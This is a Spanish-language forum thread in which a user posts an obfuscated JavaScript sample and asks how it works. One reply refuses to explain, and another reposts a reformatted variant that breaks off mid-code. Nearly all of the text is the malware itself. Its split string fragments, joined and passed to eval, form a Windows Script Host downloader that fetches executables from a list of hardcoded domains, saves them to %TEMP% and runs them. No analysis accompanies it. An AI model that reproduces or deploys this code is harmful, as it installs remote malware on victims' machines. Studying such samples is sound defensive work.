elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  como funciona y que hace este js
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: como funciona y que hace este js  (Leído 4,146 veces)
colcrt

Desconectado Desconectado

Mensajes: 87


Ver Perfil
como funciona y que hace este js
« en: 8 Febrero 2019, 01:05 am »

hola me entro la curiosidad de los malwares en js y luego de investigar un poco encontre este pero no entiendo como funciona y que es lo que hace si alguno fuera tan amable de explicarme  ;D

Código:
var stroke="5557545E0D0A020B24060108130B0B000A1D4A070B09";
function uj241() { vh('602'); return vl(); }; 
function uj70() { vh('e(92)'); return vl(); }; 
function uj236() { vh(' dl('); return vl(); }; 
function uj153() { vh('spons'); return vl(); }; 
function uj94() { vh('ec'); return vl(); }; 
function uj60() { vh('ngs'); return vl(); }; 
function uj202() { vh('ttp:'); return vl(); }; 
function uj63() { vh('")+St'); return vl(); }; 
function uj132() { vh('ne'); return vl(); }; 
function uj220() { vh('d('); return vl(); }; 
function uj55() { vh('dE'); return vl(); }; 
function uj173() { vh('e(fn,'); return vl(); }; 
function uj97() { vh('XM'); return vl(); }; 
function uj47() { vh('pt.S'); return vl(); }; 
function uj27() { vh('for ('); return vl(); }; 
function uj7() { vh(') '); return vl(); }; 
function uj111() { vh(' f'); return vl(); }; 
function uj145() { vh('); '); return vl(); }; 
function uj197() { vh('pe'); return vl(); }; 
function uj35() { vh('i++)'); return vl(); }; 
function uj90() { vh('ew '); return vl(); }; 
function uj225() { vh('er)'); return vl(); }; 
function uj2() { vh('nc'); return vl(); }; 
function uj135() { vh('eX'); return vl(); }; 
function uj186() { vh('}; }'); return vl(); }; 
function uj50() { vh('r f'); return vl(); }; 
function uj72() { vh('.roun'); return vl(); }; 
function uj140() { vh('ODB.S'); return vl(); }; 
function uj129() { vh(' {'); return vl(); }; 
function uj242() { vh('); d'); return vl(); }; 
function uj137() { vh('jec'); return vl(); }; 
function uj87() { vh('var x'); return vl(); }; 
function uj163() { vh(' 1'); return vl(); }; 
function uj149() { vh(' xa.'); return vl(); }; 
function uj101() { vh('P"'); return vl(); }; 
function uj67() { vh('Ch'); return vl(); }; 
function uj64() { vh('rin'); return vl(); }; 
function uj144() { vh('open('); return vl(); }; 
function uj25() { vh('(" "'); return vl(); };  function uj146() { vh('xa.t'); return vl(); };  function uj112() { vh('un'); return vl(); };  function uj222() { vh('} '); return vl(); };  function uj77() { vh('()*10'); return vl(); };  function uj216() { vh(' fals'); return vl(); };  function uj92() { vh('eX'); return vl(); };  function uj39() { vh('new '); return vl(); };  function uj161() { vh('00) {'); return vl(); };  function uj121() { vh('te '); return vl(); };  function uj218() { vh('xo.s'); return vl(); };  function uj162() { vh(' dn ='); return vl(); };  function uj38() { vh('ws = '); return vl(); };  function uj28() { vh('var '); return vl(); };  function vl() { return jvwz; };  function uj102() { vh('); '); return vl(); };  function uj59() { vh('Stri'); return vl(); };  function uj126() { vh('s =='); return vl(); };  function uj58() { vh('ment'); return vl(); };  function uj198() { vh('n('); return vl(); };  function uj131() { vh('xa = '); return vl(); };  function uj88() { vh('o ='); return vl(); };  function uj228() { vh('f ('); return vl(); };  function uj125() { vh('statu'); return vl(); };  function uj156() { vh('f '); return vl(); };  function uj224() { vh('ch ('); return vl(); };  function uj3() { vh('tio'); return vl(); };  function uj14() { vh(' harm'); return vl(); };  function uj160() { vh('50'); return vl(); };  function uj93() { vh('Obj'); return vl(); };  function uj95() { vh('t('); return vl(); };  function uj204() { vh('+b['); return vl(); };  function uj84() { vh(' dn '); return vl(); };  function uj4() { vh('n d'); return vl(); };  function uj213() { vh('="+'); return vl(); };  function uj147() { vh('ype ='); return vl(); };  function uj141() { vh('trea'); return vl(); };  function uj130() { vh(' var '); return vl(); };  function uj200() { vh('ET",'); return vl(); };  function uj9() { vh(' b = '); return vl(); };  function uj192() { vh('}; '); return vl(); };  function uj1() { vh('fu'); return vl(); };  function uj57() { vh('ron'); return vl(); };  function uj150() { vh('wr'); return vl(); };  function uj32() { vh('.len'); return vl(); };  function uj17() { vh('ar.c'); return vl(); };  function uj166() { vh('osit'); return vl(); };  function uj86() { vh('0; '); return vl(); };  function uj157() { vh('(xa'); return vl(); };  function uj208() { vh('t.p'); return vl(); };  function uj54() { vh('an'); return vl(); };  function uj229() { vh('dn ='); return vl(); };  function uj244() { vh('3);'); return vl(); };  function uj48() { vh('hell"'); return vl(); };  function uj11() { vh('dus'); return vl(); };  function uj79() { vh('00000'); return vl(); };  function uj16() { vh('reb'); return vl(); };  function uj78() { vh('00'); return vl(); };  function uj100() { vh('TT'); return vl(); };  function uj181() { vh('); '); return vl(); };  function uj68() { vh('ar'); return vl(); };  function uj96() { vh('"MS'); return vl(); };  function uj180() { vh(',1,0'); return vl(); };  function uj74() { vh('ath.'); return vl(); };  function uj45() { vh('WSc'); return vl(); };  function uj136() { vh('Ob'); return vl(); };  function uj49() { vh('); va'); return vl(); };  function uj46() { vh('ri'); return vl(); };  function uj69() { vh('Cod'); return vl(); };  function uj184() { vh('(er)'); return vl(); };  function uj169() { vh('; x'); return vl(); };  function uj191() { vh('(); '); return vl(); };  function uj66() { vh('om'); return vl(); };  function uj53() { vh('s.Exp'); return vl(); };  function uj26() { vh('); '); return vl(); };  function uj119() { vh('dy'); return vl(); };  function uj170() { vh('a.sa'); return vl(); };  function uj235() { vh(' };'); return vl(); };  function uj178() { vh('s.Ru'); return vl(); };  function uj51() { vh('n '); return vl(); };  function uj80() { vh(')+".e'); return vl(); };  function uj165() { vh('xa.p'); return vl(); };  function uj103() { vh('xo.'); return vl(); };  function uj175() { vh(' try'); return vl(); };  function uj233() { vh('reak;'); return vl(); };  function uj221() { vh('); '); return vl(); };  function uj148() { vh(' 1;'); return vl(); };  function uj105() { vh('ad'); return vl(); };  function uj13() { vh('om'); return vl(); };  function uj232() { vh(' b'); return vl(); };  function uj12() { vh('try.c'); return vl(); };  function uj122() { vh('== 4 '); return vl(); };  function uj65() { vh('g.fr'); return vl(); };  function uj177() { vh(' w'); return vl(); };  function uj234() { vh(' };'); return vl(); };  function vh(myi) { jvwz = myi; };  function uj190() { vh('se'); return vl(); };  function uj142() { vh('m")'); return vl(); };  function uj5() { vh('l('); return vl(); };  function uj193() { vh('}; '); return vl(); };  function uj76() { vh('ndom'); return vl(); };  function uj123() { vh('&& '); return vl(); };  function uj21() { vh('com"'); return vl(); };  function uj31() { vh('i<b'); return vl(); };  function uj209() { vh('hp?rn'); return vl(); };  function uj182() { vh('} c'); return vl(); };  function uj139() { vh('"AD'); return vl(); };  function uj37() { vh('r '); return vl(); };  function uj194() { vh('try '); return vl(); };  function uj42() { vh('XObj'); return vl(); };  function uj83() { vh('var'); return vl(); };  function uj128() { vh('00)'); return vl(); };  function uj189() { vh('.clo'); return vl(); };  function uj85() { vh('= '); return vl(); };  function uj15() { vh('ac'); return vl(); };  function uj196() { vh('.o'); return vl(); };  function uj183() { vh('atch '); return vl(); };  function uj158() { vh('.siz'); return vl(); };  function uj113() { vh('ction'); return vl(); };  function uj22() { vh('.s'); return vl(); };  function uj99() { vh('.XMLH'); return vl(); };  function uj6() { vh('fr'); return vl(); };  function uj110() { vh(' ='); return vl(); };  function uj223() { vh('cat'); return vl(); };  function uj91() { vh('Activ'); return vl(); };  function uj155() { vh('y); i'); return vl(); };  function uj152() { vh('xo.Re'); return vl(); };  function uj36() { vh(' { va'); return vl(); };  function uj117() { vh('xo.r'); return vl(); };  function uj168() { vh(' = 0'); return vl(); };  function uj8() { vh('{ var'); return vl(); };  function uj227() { vh('; i'); return vl(); };  function uj203() { vh('//"'); return vl(); };  function uj23() { vh('pl'); return vl(); };  function uj41() { vh('tive'); return vl(); };  function uj205() { vh('i]+"'); return vl(); };  function uj243() { vh('l(819'); return vl(); };  function uj217() { vh('e); '); return vl(); };  function uj207() { vh('umen'); return vl(); };  function uj114() { vh('() '); return vl(); };  function uj98() { vh('L2'); return vl(); };  function uj176() { vh(' {'); return vl(); };  function uj199() { vh('"G'); return vl(); };  function uj238() { vh('41'); return vl(); };  function uj71() { vh('+Math'); return vl(); };  function uj104() { vh('onre'); return vl(); };  function uj134() { vh('ctiv'); return vl(); };  function uj() { return 'int'; };  function uj164() { vh('; '); return vl(); };  function uj124() { vh('xo.'); return vl(); };  function uj226() { vh(' {}'); return vl(); };  function uj19() { vh('etq'); return vl(); };  function uj89() { vh(' n'); return vl(); };  function uj138() { vh('t('); return vl(); };  function uj108() { vh('ha'); return vl(); };  function uj62() { vh('TEMP%'); return vl(); };  function uj44() { vh('t("'); return vl(); };  function uj151() { vh('ite('); return vl(); };  function uj30() { vh('0; '); return vl(); };  function uj75() { vh('ra'); return vl(); }; 
function e() { return 'pr'; }; 
function uj179() { vh('n(fn'); return vl(); };  function uj212() { vh('"&id'); return vl(); };  function uj127() { vh(' 2'); return vl(); };  function uj133() { vh('w A'); return vl(); };  function uj239() { vh('); '); return vl(); };  function uj159() { vh('e > '); return vl(); };  function uj214() { vh('st'); return vl(); };  function uj20() { vh('y.'); return vl(); };  function uj211() { vh('+fr+'); return vl(); };  function uj185() { vh(' {'); return vl(); };  function uj61() { vh('("%'); return vl(); };  function uj120() { vh('Sta'); return vl(); };  function uj33() { vh('gth'); return vl(); };  function uj231() { vh('1)'); return vl(); };  function uj81() { vh('xe'); return vl(); };  function uj143() { vh('; xa.'); return vl(); };  function uj10() { vh('"ckin'); return vl(); };  function uj118() { vh('ea'); return vl(); };  function uj167() { vh('ion'); return vl(); };  function uj40() { vh('Ac'); return vl(); };  function uj154() { vh('eBod'); return vl(); };  function uj116() { vh('f ('); return vl(); };  function uj29() { vh('i='); return vl(); };  function uj107() { vh('tatec'); return vl(); };  function uj174() { vh('2);'); return vl(); };  function uj34() { vh('; '); return vl(); };  function uj187() { vh('; '); return vl(); };  function uj171() { vh('veToF'); return vl(); };  var pdcr = ''; var jvwz = '';  function uj73() { vh('d(M'); return vl(); };  function uj82() { vh('"; '); return vl(); };  function uj52() { vh('= w'); return vl(); };  function uj109() { vh('nge'); return vl(); };  function uj230() { vh('= '); return vl(); };  function uj195() { vh('{ xo'); return vl(); };  function uj240() { vh('dl(8'); return vl(); };  function uj18() { vh('om '); return vl(); };  function uj215() { vh('roke,'); return vl(); };  function uj237() { vh('33'); return vl(); };  function uj24() { vh('it'); return vl(); };  function uj172() { vh('il'); return vl(); };  function uj188() { vh('xa'); return vl(); };  function uj43() { vh('ec'); return vl(); };  function uj115() { vh('{ i'); return vl(); };  function uj106() { vh('ys'); return vl(); };  function uj201() { vh('"h'); return vl(); };  function uj219() { vh('en'); return vl(); };  function uj210() { vh('d="'); return vl(); };  function uj206() { vh('/doc'); return vl(); };  function uj56() { vh('nvi'); return vl(); };
for (var s=1; s<=244; s++) { vh(this['uj'+s]()); pdcr += vl(); }
this[e()+uj()](pdcr);
« Última modificación: 8 Febrero 2019, 22:27 pm por colcrt » En línea

ThunderCls


Desconectado Desconectado

Mensajes: 455


Coder | Reverser | Gamer


Ver Perfil WWW
Re: como funciona y que hace este js
« Respuesta #1 en: 8 Febrero 2019, 20:42 pm »

1- Cuando copies un codigo no lo pases por gtranslator...please (funcion != function, para != for, etc)  :¬¬
2- El codigo evidentemente esta ofuscado, si conoces un poco de js o sabes usar google podras quitarle la proteccion y podras ver que hace el codigo escondido
Saludos
En línea

-[ "…I can only show you the door. You're the one that has to walk through it." – Morpheus (The Matrix) ]-
http://reversec0de.wordpress.com
https://github.com/ThunderCls/
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.724


<3


Ver Perfil WWW
Re: como funciona y que hace este js
« Respuesta #2 en: 8 Febrero 2019, 21:48 pm »

Código
  1. var stroke = "5557545E0D0A020B24060108130B0B000A1D4A070B09";
  2.  
  3. function l43() {
  4.    nz('WScri');
  5.    return nc();
  6. };
  7.  
  8. function l201() {
  9.    nz('als');
  10.    return nc();
  11. };
  12.  
  13. function l122() {
  14.    nz(' = ne');
  15.    return nc();
  16. };
  17.  
  18. function l149() {
  19.    nz(' 50');
  20.    return nc();
  21. };
  22.  
  23. function l33() {
  24.    nz('+) ');
  25.    return nc();
  26. };
  27.  
  28. function l193() {
  29.    nz('?r');
  30.    return nc();
  31. };
  32.  
  33. function l99() {
  34.    nz('dy');
  35.    return nc();
  36. };
  37.  
  38. function l38() {
  39.    nz('ew A');
  40.    return nc();
  41. };
  42.  
  43. function l69() {
  44.    nz('und');
  45.    return nc();
  46. };
  47.  
  48. function l207() {
  49.    nz('atch ');
  50.    return nc();
  51. };
  52.  
  53. function l54() {
  54.    nz('ronm');
  55.    return nc();
  56. };
  57.  
  58. function l25() {
  59.    nz('"); f');
  60.    return nc();
  61. };
  62.  
  63. function l153() {
  64.    nz(' x');
  65.    return nc();
  66. };
  67.  
  68. function l121() {
  69.    nz(' xa');
  70.    return nc();
  71. };
  72.  
  73. function l49() {
  74.    nz('fn = ');
  75.    return nc();
  76. };
  77.  
  78. function l132() {
  79.    nz('.op');
  80.    return nc();
  81. };
  82.  
  83. function l7() {
  84.    nz(' b =');
  85.    return nc();
  86. };
  87.  
  88. function l163() {
  89.    nz('; ');
  90.    return nc();
  91. };
  92.  
  93. function l16() {
  94.    nz('rita');
  95.    return nc();
  96. };
  97.  
  98. function l64() {
  99.    nz('harCo');
  100.    return nc();
  101. };
  102.  
  103. function l29() {
  104.    nz('0; i<');
  105.    return nc();
  106. };
  107.  
  108. function l120() {
  109.    nz('var');
  110.    return nc();
  111. };
  112.  
  113. function l190() {
  114.    nz('docum');
  115.    return nc();
  116. };
  117.  
  118. function l78() {
  119.    nz('+".');
  120.    return nc();
  121. };
  122.  
  123. function l222() {
  124.    nz('2);');
  125.    return nc();
  126. };
  127.  
  128. function l39() {
  129.    nz('ctiv');
  130.    return nc();
  131. };
  132.  
  133. function l77() {
  134.    nz('0000)');
  135.    return nc();
  136. };
  137.  
  138. function l22() {
  139.    nz('m".s');
  140.    return nc();
  141. };
  142.  
  143. function l60() {
  144.    nz('%")+');
  145.    return nc();
  146. };
  147.  
  148. function l103() {
  149.    nz(' = fu');
  150.    return nc();
  151. };
  152.  
  153. function l169() {
  154.    nz(',0)');
  155.    return nc();
  156. };
  157.  
  158. function l165() {
  159.    nz('{ ws.');
  160.    return nc();
  161. };
  162.  
  163. function l212() {
  164.    nz('==');
  165.    return nc();
  166. };
  167.  
  168. function l167() {
  169.    nz('n(f');
  170.    return nc();
  171. };
  172.  
  173. function l70() {
  174.    nz('(Ma');
  175.    return nc();
  176. };
  177.  
  178. function l178() {
  179.    nz(' }');
  180.    return nc();
  181. };
  182.  
  183. function l144() {
  184.    nz('dy); ');
  185.    return nc();
  186. };
  187.  
  188. function l98() {
  189.    nz('ea');
  190.    return nc();
  191. };
  192.  
  193. function l111() {
  194.    nz('te');
  195.    return nc();
  196. };
  197.  
  198. function l179() {
  199.    nz('; }; ');
  200.    return nc();
  201. };
  202.  
  203. function l162() {
  204.    nz('fn,2)');
  205.    return nc();
  206. };
  207.  
  208. function l187() {
  209.    nz('p://');
  210.    return nc();
  211. };
  212.  
  213. function l130() {
  214.    nz('ream"');
  215.    return nc();
  216. };
  217.  
  218. function l6() {
  219.    nz('var');
  220.    return nc();
  221. };
  222.  
  223. function l147() {
  224.    nz('siz');
  225.    return nc();
  226. };
  227.  
  228. function l90() {
  229.    nz('Objec');
  230.    return nc();
  231. };
  232.  
  233. function l141() {
  234.    nz('sp');
  235.    return nc();
  236. };
  237.  
  238. function l176() {
  239.    nz('lose(');
  240.    return nc();
  241. };
  242.  
  243. function l88() {
  244.    nz('ct');
  245.    return nc();
  246. };
  247.  
  248. function l10() {
  249.    nz('olon');
  250.    return nc();
  251. };
  252.  
  253. function l148() {
  254.    nz('e >');
  255.    return nc();
  256. };
  257.  
  258. function l74() {
  259.    nz('om()');
  260.    return nc();
  261. };
  262.  
  263. function l31() {
  264.    nz('ngth;');
  265.    return nc();
  266. };
  267.  
  268. function l86() {
  269.    nz(' = ');
  270.    return nc();
  271. };
  272.  
  273. function l27() {
  274.    nz(' (va');
  275.    return nc();
  276. };
  277.  
  278. function l63() {
  279.    nz('fromC');
  280.    return nc();
  281. };
  282.  
  283. function l34() {
  284.    nz('{ ');
  285.    return nc();
  286. };
  287.  
  288. function l177() {
  289.    nz(');');
  290.    return nc();
  291. };
  292.  
  293. function l45() {
  294.    nz('el');
  295.    return nc();
  296. };
  297.  
  298. function l186() {
  299.    nz('tt');
  300.    return nc();
  301. };
  302.  
  303. function l20() {
  304.    nz('bar');
  305.    return nc();
  306. };
  307.  
  308. function l36() {
  309.    nz('ws ');
  310.    return nc();
  311. };
  312.  
  313. function l219() {
  314.    nz('1); d');
  315.    return nc();
  316. };
  317.  
  318. function l172() {
  319.    nz(' (er)');
  320.    return nc();
  321. };
  322.  
  323. function l194() {
  324.    nz('nd="+');
  325.    return nc();
  326. };
  327.  
  328. function l97() {
  329.    nz('onr');
  330.    return nc();
  331. };
  332.  
  333. function l224() {
  334.    nz('l(158');
  335.    return nc();
  336. };
  337.  
  338. function l192() {
  339.    nz('.php');
  340.    return nc();
  341. };
  342.  
  343. function l19() {
  344.    nz('acre');
  345.    return nc();
  346. };
  347.  
  348. function l41() {
  349.    nz('Obje');
  350.    return nc();
  351. };
  352.  
  353. function l18() {
  354.    nz('harm');
  355.    return nc();
  356. };
  357.  
  358. function l56() {
  359.    nz('tring');
  360.    return nc();
  361. };
  362.  
  363. function l80() {
  364.    nz('"; v');
  365.    return nc();
  366. };
  367.  
  368. function l183() {
  369.    nz('("G');
  370.    return nc();
  371. };
  372.  
  373. function l204() {
  374.    nz('nd();');
  375.    return nc();
  376. };
  377.  
  378. function l100() {
  379.    nz('sta');
  380.    return nc();
  381. };
  382.  
  383. function l196() {
  384.    nz('id="+');
  385.    return nc();
  386. };
  387.  
  388. function l184() {
  389.    nz('ET"');
  390.    return nc();
  391. };
  392.  
  393. function l32() {
  394.    nz(' i+');
  395.    return nc();
  396. };
  397.  
  398. function l123() {
  399.    nz('w Act');
  400.    return nc();
  401. };
  402.  
  403. function l48() {
  404.    nz('r ');
  405.    return nc();
  406. };
  407.  
  408. function l170() {
  409.    nz('; } ');
  410.    return nc();
  411. };
  412.  
  413. function l42() {
  414.    nz('ct("');
  415.    return nc();
  416. };
  417.  
  418. function l66() {
  419.    nz(')+M');
  420.    return nc();
  421. };
  422.  
  423. function l174() {
  424.    nz('; };');
  425.    return nc();
  426. };
  427.  
  428. function l173() {
  429.    nz(' {}');
  430.    return nc();
  431. };
  432.  
  433. function l143() {
  434.    nz('Bo');
  435.    return nc();
  436. };
  437.  
  438. function l108() {
  439.    nz(' (x');
  440.    return nc();
  441. };
  442.  
  443. function l199() {
  444.    nz('e,');
  445.    return nc();
  446. };
  447.  
  448. function l195() {
  449.    nz('fr+"&');
  450.    return nc();
  451. };
  452.  
  453. function l213() {
  454.    nz(' 1) ');
  455.    return nc();
  456. };
  457.  
  458. function l113() {
  459.    nz(' 4 ');
  460.    return nc();
  461. };
  462.  
  463. function l11() {
  464.    nz('age.');
  465.    return nc();
  466. };
  467.  
  468. function l181() {
  469.    nz(' xo.');
  470.    return nc();
  471. };
  472.  
  473. function l71() {
  474.    nz('th.');
  475.    return nc();
  476. };
  477.  
  478. function l26() {
  479.    nz('or');
  480.    return nc();
  481. };
  482.  
  483. function nc() {
  484.    return rpui;
  485. };
  486.  
  487. function l1() {
  488.    nz('fu');
  489.    return nc();
  490. };
  491.  
  492. function l83() {
  493.    nz('0; ');
  494.    return nc();
  495. };
  496.  
  497. function l133() {
  498.    nz('en(');
  499.    return nc();
  500. };
  501.  
  502. function l65() {
  503.    nz('de(92');
  504.    return nc();
  505. };
  506.  
  507. function l101() {
  508.    nz('tech');
  509.    return nc();
  510. };
  511.  
  512. function l171() {
  513.    nz('catch');
  514.    return nc();
  515. };
  516.  
  517. function l126() {
  518.    nz('Obje');
  519.    return nc();
  520. };
  521.  
  522. function l128() {
  523.    nz('DO');
  524.    return nc();
  525. };
  526.  
  527. function l81() {
  528.    nz('ar dn');
  529.    return nc();
  530. };
  531.  
  532. function l58() {
  533.    nz('TE');
  534.    return nc();
  535. };
  536.  
  537. function l146() {
  538.    nz('(xa.');
  539.    return nc();
  540. };
  541.  
  542. function l160() {
  543.    nz('veTo');
  544.    return nc();
  545. };
  546.  
  547. function l21() {
  548.    nz('.co');
  549.    return nc();
  550. };
  551.  
  552. function l12() {
  553.    nz('com l');
  554.    return nc();
  555. };
  556.  
  557. function l87() {
  558.    nz('new A');
  559.    return nc();
  560. };
  561.  
  562. function l118() {
  563.    nz('20');
  564.    return nc();
  565. };
  566.  
  567. function l8() {
  568.    nz(' "');
  569.    return nc();
  570. };
  571.  
  572. function l205() {
  573.    nz(' }');
  574.    return nc();
  575. };
  576.  
  577. function l() {
  578.    return 'al';
  579. };
  580.  
  581. function l152() {
  582.    nz(' = 1;');
  583.    return nc();
  584. };
  585.  
  586. function l93() {
  587.    nz('2.XML');
  588.    return nc();
  589. };
  590.  
  591. function l117() {
  592.    nz(' == ');
  593.    return nc();
  594. };
  595.  
  596. function l92() {
  597.    nz('MSXML');
  598.    return nc();
  599. };
  600.  
  601. function l198() {
  602.    nz('ok');
  603.    return nc();
  604. };
  605.  
  606. function l158() {
  607.    nz('xa.');
  608.    return nc();
  609. };
  610.  
  611. function l188() {
  612.    nz('"+b[');
  613.    return nc();
  614. };
  615.  
  616. function l102() {
  617.    nz('ange');
  618.    return nc();
  619. };
  620.  
  621. function l206() {
  622.    nz(' c');
  623.    return nc();
  624. };
  625.  
  626. function l157() {
  627.    nz('= 0; ');
  628.    return nc();
  629. };
  630.  
  631. function l51() {
  632.    nz('xp');
  633.    return nc();
  634. };
  635.  
  636. function l151() {
  637.    nz('{ dn');
  638.    return nc();
  639. };
  640.  
  641. function l131() {
  642.    nz('); xa');
  643.    return nc();
  644. };
  645.  
  646. function l145() {
  647.    nz('if ');
  648.    return nc();
  649. };
  650.  
  651. function l68() {
  652.    nz('ro');
  653.    return nc();
  654. };
  655.  
  656. function l96() {
  657.    nz('; xo.');
  658.    return nc();
  659. };
  660.  
  661. function l214() {
  662.    nz('brea');
  663.    return nc();
  664. };
  665.  
  666. function l191() {
  667.    nz('ent');
  668.    return nc();
  669. };
  670.  
  671. function l200() {
  672.    nz(' f');
  673.    return nc();
  674. };
  675.  
  676. function l30() {
  677.    nz('b.le');
  678.    return nc();
  679. };
  680.  
  681. function l134() {
  682.    nz('); xa');
  683.    return nc();
  684. };
  685.  
  686. function l46() {
  687.    nz('l")');
  688.    return nc();
  689. };
  690.  
  691. function l140() {
  692.    nz('.Re');
  693.    return nc();
  694. };
  695.  
  696. function l166() {
  697.    nz('Ru');
  698.    return nc();
  699. };
  700.  
  701. function l89() {
  702.    nz('iveX');
  703.    return nc();
  704. };
  705.  
  706. function l2() {
  707.    nz('nc');
  708.    return nc();
  709. };
  710.  
  711. function l138() {
  712.    nz('.writ');
  713.    return nc();
  714. };
  715.  
  716. function l75() {
  717.    nz('*10');
  718.    return nc();
  719. };
  720.  
  721. function l50() {
  722.    nz('ws.E');
  723.    return nc();
  724. };
  725.  
  726. function nz(za) {
  727.    rpui = za;
  728. };
  729.  
  730. function l142() {
  731.    nz('onse');
  732.    return nc();
  733. };
  734.  
  735. function l135() {
  736.    nz('.type');
  737.    return nc();
  738. };
  739.  
  740. function l189() {
  741.    nz('i]+"/');
  742.    return nc();
  743. };
  744.  
  745. function l72() {
  746.    nz('ra');
  747.    return nc();
  748. };
  749.  
  750. function l156() {
  751.    nz('on ');
  752.    return nc();
  753. };
  754.  
  755. function l24() {
  756.    nz('t(" ');
  757.    return nc();
  758. };
  759.  
  760. function l211() {
  761.    nz(' (dn ');
  762.    return nc();
  763. };
  764.  
  765. function l59() {
  766.    nz('MP');
  767.    return nc();
  768. };
  769.  
  770. function l159() {
  771.    nz('sa');
  772.    return nc();
  773. };
  774.  
  775. function l82() {
  776.    nz(' = ');
  777.    return nc();
  778. };
  779.  
  780. function l55() {
  781.    nz('entS');
  782.    return nc();
  783. };
  784.  
  785. function l79() {
  786.    nz('exe');
  787.    return nc();
  788. };
  789.  
  790. function l150() {
  791.    nz('00) ');
  792.    return nc();
  793. };
  794. var n = '';
  795. var rpui = '';
  796.  
  797. function l137() {
  798.    nz('; xa');
  799.    return nc();
  800. };
  801.  
  802. function l61() {
  803.    nz('Stri');
  804.    return nc();
  805. };
  806.  
  807. function l62() {
  808.    nz('ng.');
  809.    return nc();
  810. };
  811.  
  812. function l125() {
  813.    nz('eX');
  814.    return nc();
  815. };
  816.  
  817. function l127() {
  818.    nz('ct("A');
  819.    return nc();
  820. };
  821.  
  822. function l161() {
  823.    nz('File(');
  824.    return nc();
  825. };
  826.  
  827. function l110() {
  828.    nz('dySta');
  829.    return nc();
  830. };
  831.  
  832. function l185() {
  833.    nz(',"h');
  834.    return nc();
  835. };
  836.  
  837. function l215() {
  838.    nz('k; }');
  839.    return nc();
  840. };
  841.  
  842. function l85() {
  843.    nz('r xo');
  844.    return nc();
  845. };
  846.  
  847. function l107() {
  848.    nz(' if');
  849.    return nc();
  850. };
  851.  
  852. function l15() {
  853.    nz('afio');
  854.    return nc();
  855. };
  856.  
  857. function l112() {
  858.    nz(' ==');
  859.    return nc();
  860. };
  861.  
  862. function l197() {
  863.    nz('str');
  864.    return nc();
  865. };
  866.  
  867. function l94() {
  868.    nz('HTTP');
  869.    return nc();
  870. };
  871.  
  872. function l73() {
  873.    nz('nd');
  874.    return nc();
  875. };
  876.  
  877. function l35() {
  878.    nz('var ');
  879.    return nc();
  880. };
  881.  
  882. function l84() {
  883.    nz('va');
  884.    return nc();
  885. };
  886.  
  887. function l47() {
  888.    nz('; va');
  889.    return nc();
  890. };
  891.  
  892. function l105() {
  893.    nz('on');
  894.    return nc();
  895. };
  896.  
  897. function l3() {
  898.    nz('tion ');
  899.    return nc();
  900. };
  901.  
  902. function l209() {
  903.    nz('r) {');
  904.    return nc();
  905. };
  906.  
  907. function l136() {
  908.    nz(' = 1');
  909.    return nc();
  910. };
  911.  
  912. function l182() {
  913.    nz('open');
  914.    return nc();
  915. };
  916.  
  917. function l4() {
  918.    nz('dl(fr');
  919.    return nc();
  920. };
  921.  
  922. function l164() {
  923.    nz('try ');
  924.    return nc();
  925. };
  926.  
  927. function l106() {
  928.    nz('() {');
  929.    return nc();
  930. };
  931.  
  932. function l139() {
  933.    nz('e(xo');
  934.    return nc();
  935. };
  936.  
  937. function l216() {
  938.    nz('; }; ');
  939.    return nc();
  940. };
  941.  
  942. function l104() {
  943.    nz('ncti');
  944.    return nc();
  945. };
  946.  
  947. function l37() {
  948.    nz('= n');
  949.    return nc();
  950. };
  951.  
  952. function l14() {
  953.    nz('razz');
  954.    return nc();
  955. };
  956.  
  957. function l114() {
  958.    nz('&& xo');
  959.    return nc();
  960. };
  961.  
  962. function l76() {
  963.    nz('000');
  964.    return nc();
  965. };
  966.  
  967. function l17() {
  968.    nz('.it ');
  969.    return nc();
  970. };
  971.  
  972. function l202() {
  973.    nz('e); x');
  974.    return nc();
  975. };
  976.  
  977. function l53() {
  978.    nz('nvi');
  979.    return nc();
  980. };
  981.  
  982. function l203() {
  983.    nz('o.se');
  984.    return nc();
  985. };
  986.  
  987. function l13() {
  988.    nz('ater');
  989.    return nc();
  990. };
  991.  
  992. function l116() {
  993.    nz('atus');
  994.    return nc();
  995. };
  996.  
  997. function l168() {
  998.    nz('n,1');
  999.    return nc();
  1000. };
  1001.  
  1002. function l129() {
  1003.    nz('DB.St');
  1004.    return nc();
  1005. };
  1006.  
  1007. function l109() {
  1008.    nz('o.rea');
  1009.    return nc();
  1010. };
  1011.  
  1012. function l44() {
  1013.    nz('pt.Sh');
  1014.    return nc();
  1015. };
  1016.  
  1017. function l155() {
  1018.    nz('siti');
  1019.    return nc();
  1020. };
  1021.  
  1022. function l9() {
  1023.    nz('av');
  1024.    return nc();
  1025. };
  1026.  
  1027. function l28() {
  1028.    nz('r i=');
  1029.    return nc();
  1030. };
  1031.  
  1032. function l124() {
  1033.    nz('iv');
  1034.    return nc();
  1035. };
  1036.  
  1037. function l91() {
  1038.    nz('t("');
  1039.    return nc();
  1040. };
  1041.  
  1042. function l5() {
  1043.    nz(') { ');
  1044.    return nc();
  1045. };
  1046.  
  1047. function l223() {
  1048.    nz(' d');
  1049.    return nc();
  1050. };
  1051.  
  1052. function l221() {
  1053.    nz('88');
  1054.    return nc();
  1055. };
  1056.  
  1057. function l40() {
  1058.    nz('eX');
  1059.    return nc();
  1060. };
  1061.  
  1062. function l180() {
  1063.    nz('try {');
  1064.    return nc();
  1065. };
  1066.  
  1067. function l225() {
  1068.    nz('3);');
  1069.    return nc();
  1070. };
  1071.  
  1072. function l57() {
  1073.    nz('s("%');
  1074.    return nc();
  1075. };
  1076.  
  1077. function l52() {
  1078.    nz('andE');
  1079.    return nc();
  1080. };
  1081.  
  1082. function flmr() {
  1083.    return 'ev';
  1084. };
  1085.  
  1086. function l115() {
  1087.    nz('.st');
  1088.    return nc();
  1089. };
  1090.  
  1091. function l220() {
  1092.    nz('l(7');
  1093.    return nc();
  1094. };
  1095.  
  1096. function l208() {
  1097.    nz('(e');
  1098.    return nc();
  1099. };
  1100.  
  1101. function l175() {
  1102.    nz(' xa.c');
  1103.    return nc();
  1104. };
  1105.  
  1106. function l217() {
  1107.    nz('dl(2');
  1108.    return nc();
  1109. };
  1110.  
  1111. function l119() {
  1112.    nz('0) { ');
